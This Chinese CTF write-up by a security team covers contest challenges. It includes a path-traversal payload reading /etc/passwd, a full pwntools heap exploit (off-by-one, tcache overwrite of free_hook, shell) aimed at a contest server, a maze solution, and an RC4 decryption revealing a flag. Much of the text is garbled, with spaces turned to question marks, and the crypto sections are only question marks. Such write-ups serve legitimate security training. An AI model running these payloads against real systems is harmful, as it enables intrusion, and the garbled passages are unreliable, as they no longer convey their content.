鲲鹏计算专场-WriteUp

百家 作者:Chamd5安全团队 2020-12-31 10:06:17


Web

babyphp

<link href="../../../../../../../../.css/../../etc/passwd">

? ? ? ?

Crypto

RRSSAA? ? ??

? ? ? ?


? ? ? ?? ?



Combinelfsr? ? ? ?? ? ??

backpack? ? ? ?

? ? ? ?? ? ? ?? ? ? ?

?

Pwn

HONORBOOK

msg里存在off by one,常规构造chunk overlap 然后tcache打free hook。get shell

from?pwn?import?*
context.log_level?=?'debug'
#p?=?process(["./qemu-riscv64",?"-L",?"./libs",?"./honorbook"])
p?=?remote("121.36.192.114",?9999)
def?add(idx,?usr,?msg):
?p.sendlineafter("Code:?",?"1")
?p.sendlineafter("ID:?",?str(idx))
?p.sendafter("User?name:?",?usr)
?p.sendafter("Msg:?",?msg)
def?free(idx):
?p.sendlineafter("Code:?",?"2")
?p.sendlineafter("ID:?",?str(idx))
def?show(idx):
?p.sendlineafter("Code:?",?"3")
?p.sendlineafter("ID:?",?str(idx))
def?edit(idx,?msg):
?p.sendlineafter("Code:?",?"4")
?p.sendlineafter("Index:?",?str(idx))
?p.sendafter("Msg:?",?msg)

def?exp():
?add(0,?'/bin/sh\x00',?'b'*0xe9)
?add(1,?'a'*0x18,?'c'*0xe9)
?add(2,?'a'*0x18,?'d'*0xe9)
?add(3,?'a'*0x18,?'e'*0xe9)
?free(1)
?add(1,?'a'*0x18,?'d'*0xe8+'\xf1')
?free(2)
?add(2,?'a',?'f'*0x20+p64(0x0)+p64(0x501)+p64(0)+'\n')
?add(4,?'a',?'g'*0xe9)
?add(5,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(6,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(7,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(8,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(9,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?add(10,?'a'*0x18,?(p64(0)+p64(0x21))*14+'\n')
?free(4)
?add(4,?'a',?'g\n')
?add(11,?'a'*4,?'g\n')
?show(3)
?p.recvuntil('a'*4)
?high?=?p.recvuntil('\x0a',?drop?=?True)
?show(2)
?p.recvuntil("Username:?")
?low?=?p.recvuntil('\x0a',?drop?=?True)
?libc_base?=?u64((low+'\x00'+high).ljust(8,?'\x00'))-0x107990-88-0x10
?print?hex(libc_base)
?add(12,?'a'*4,?'g\n')
?free(2)
?edit(12,?p64(libc_base+0x000000000109838))
?add(13,?p64(0),?p64(libc_base+0x388fe)+'\n')
?add(14,?p64(0),?p64(libc_base+0x388fe)+'\n')
?free(0)
?p.interactive()
if?__name__?==?'__main__':
?exp()

Reverse

mips

maze?=?"""1,?1,?1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?1,
1,?1,?1,?0,?3,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,?1,?1,
1,?0,?1,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,?1,?1,?1,?0,
1,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,?1,?1,?1,?0,?1,?0,
1,?1,?1,?1,?1,?0,?0,?1,?1,?1,?1,?1,?0,?1,?0,?0,?0,
0,?0,?1,?0,?0,?1,?1,?1,?1,?1,?0,?1,?0,?0,?0,?0,?0,
1,?0,?0,?1,?1,?1,?1,?1,?0,?1,?0,?0,?0,?0,?0,?1,?1,
0,?1,?1,?1,?1,?1,?0,?1,?1,?1,?1,?1,?1,?1,?1,?0,?1,
1,?1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?4,?0,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,
0,?0,?1,?1,?0,?3,?0,?1,?1,?1,?1,?0,?0,?0,?0,?0,?0,
1,?1,?0,?1,?0,?0,?0,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,
0,?1,?0,?0,?0,?0,?1,?0,?0,?0,?0,?0,?0,?1,?1,?0,?1,
1,?0,?0,?0,?1,?1,?1,?1,?1,?0,?0,?1,?1,?0,?1,?1,?0,
0,?0,?0,?0,?0,?0,?1,?0,?0,?1,?1,?0,?1,?1,?0,?0,?0,
0,?0,?0,?0,?1,?0,?0,?1,?1,?0,?1,?1,?0,?0,?0,?0,?0,
1,?1,?1,?1,?0,?1,?1,?0,?1,?1,?0,?0,?0,?0,?0,?1,?0,
0,?1,?0,?1,?1,?0,?1,?1,?0,?0,?0,?0,?0,?1,?0,?0,?0,
0,?1,?1,?0,?1,?1,?1,?1,?1,?1,?0,?1,?0,?1,?1,?0,?1,
1,?0,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?0,?1,?1,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?4,?0,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,?1,
1,?1,?1,?1,?1,?1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,
0,?0,?0,?0,?0,?0,?0,?3,?1,?1,?0,?0,?0,?0,?0,?0,?0,
0,?0,?0,?0,?0,?0,?0,?1,?0,?1,?1,?1,?0,?0,?0,?0,?0,
0,?0,?0,?0,?0,?1,?1,?1,?0,?1,?0,?0,?0,?0,?0,?0,?0,
0,?0,?0,?0,?1,?0,?0,?1,?0,?0,?0,?0,?0,?0,?0,?0,?1,
1,?0,?1,?0,?0,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?1,
1,?0,?0,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,
0,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,
1,?1,?1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,
1,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?0,?0,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?1,?1,?1,?0,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?1,?0,?0,?0,?0,
0,?0,?0,?0,?0,?0,?0,?0,?0,?0,?4,?0,?0"
""
maze?=?maze.split(',')
print?maze
for?i?in?range(45):
????for?j?in?range(15):
????????print?maze[i*15+j].strip(),
????print?"\n"
????if?i+1%15==0:
????????print?"---------------------------"


走路就行了

?

flag{999ea6aa6c365ab43eec2a0f0e5968d5}



pypy


使用objcopy dump下

之后将数据使用py库跑一下拿到pyc


之后反编译

得到main.py


使用gdb attach 得到key

DEFAULT_KEY?=?'Yó\x02?%\x9a\x820\x0b?%\x7f~;??'

解密
把python代码里边的代码抠出来直接用

DEFAULT_KEY?=?'Yó\x02?%\x9a\x820\x0b?%\x7f~;??'

def?rc4(O0O0O0000O0OOOO0O,?key=DEFAULT_KEY,?skip=1024):
????O00OOOOOOO00OO00O?=?0
????OO0OOOO0000OO00OO?=?bytearray([OO00OOOO0OOOOO00O?for?OO00OOOO0OOOOO00O?in?range(256)])
????O00OOOOOOO00OO00O?=?0
????for?OOOO000OOO00O000O?in?range(256):
????????O00OOOOOOO00OO00O?=?(O00OOOOOOO00OO00O?+?OO0OOOO0000OO00OO[OOOO000OOO00O000O]?+?ord(key[(OOOO000OOO00O000O?%?len(key))]))?%?256
????????OO000O0O0OOOOO0OO?=?OO0OOOO0000OO00OO[OOOO000OOO00O000O]
????????O000O0OO00O00000O?=?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
????????OO0OOOO0000OO00OO[OOOO000OOO00O000O]?=?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
????????OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]?=?OO000O0O0OOOOO0OO
????else:
????????O00OOOOOOO00OO00O?=?0
????????O0O0OO0OO00OOOOO0?=?0
????????OO0OOO000000OO0O0?=?[]
????????if?skip?>?0:
????????????for?OOOO000OOO00O000O?in?range(skip):
????????????????O00OOOOOOO00OO00O?=?(O00OOOOOOO00OO00O?+?1)?%?256
????????????????O0O0OO0OO00OOOOO0?=?(O0O0OO0OO00OOOOO0?+?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O])?%?256
????????????????OO0OOOO0000OO00OO[O00OOOOOOO00OO00O],?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0]?=?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0],?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]

????????for?O0000O0OOO000OO0O?in?O0O0O0000O0OOOO0O:
????????????O00OOOOOOO00OO00O?=?(O00OOOOOOO00OO00O?+?1)?%?256
????????????O0O0OO0OO00OOOOO0?=?(O0O0OO0OO00OOOOO0?+?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O])?%?256
????????????OO0OOOO0000OO00OO[O00OOOOOOO00OO00O],?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0]?=?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0],?OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]
????????????O0O0OOOO0OOOOO0OO?=?OO0OOOO0000OO00OO[((OO0OOOO0000OO00OO[O00OOOOOOO00OO00O]?+?OO0OOOO0000OO00OO[O0O0OO0OO00OOOOO0])?%?256)]
????????????OO0OOO000000OO0O0.append(chr(ord(O0000O0OOO000OO0O)?^?O0O0OOOO0OOOOO0OO))
????????else:
????????????return?''.join(OO0OOO000000OO0O0)

cip?=?'275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7ec2a5c2a0'
print(rc4(bytes.fromhex(cip).decode()))

结束


招新小广告

ChaMd5?Venom?招收大佬入圈

新成立组IOT+工控+样本分析?长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接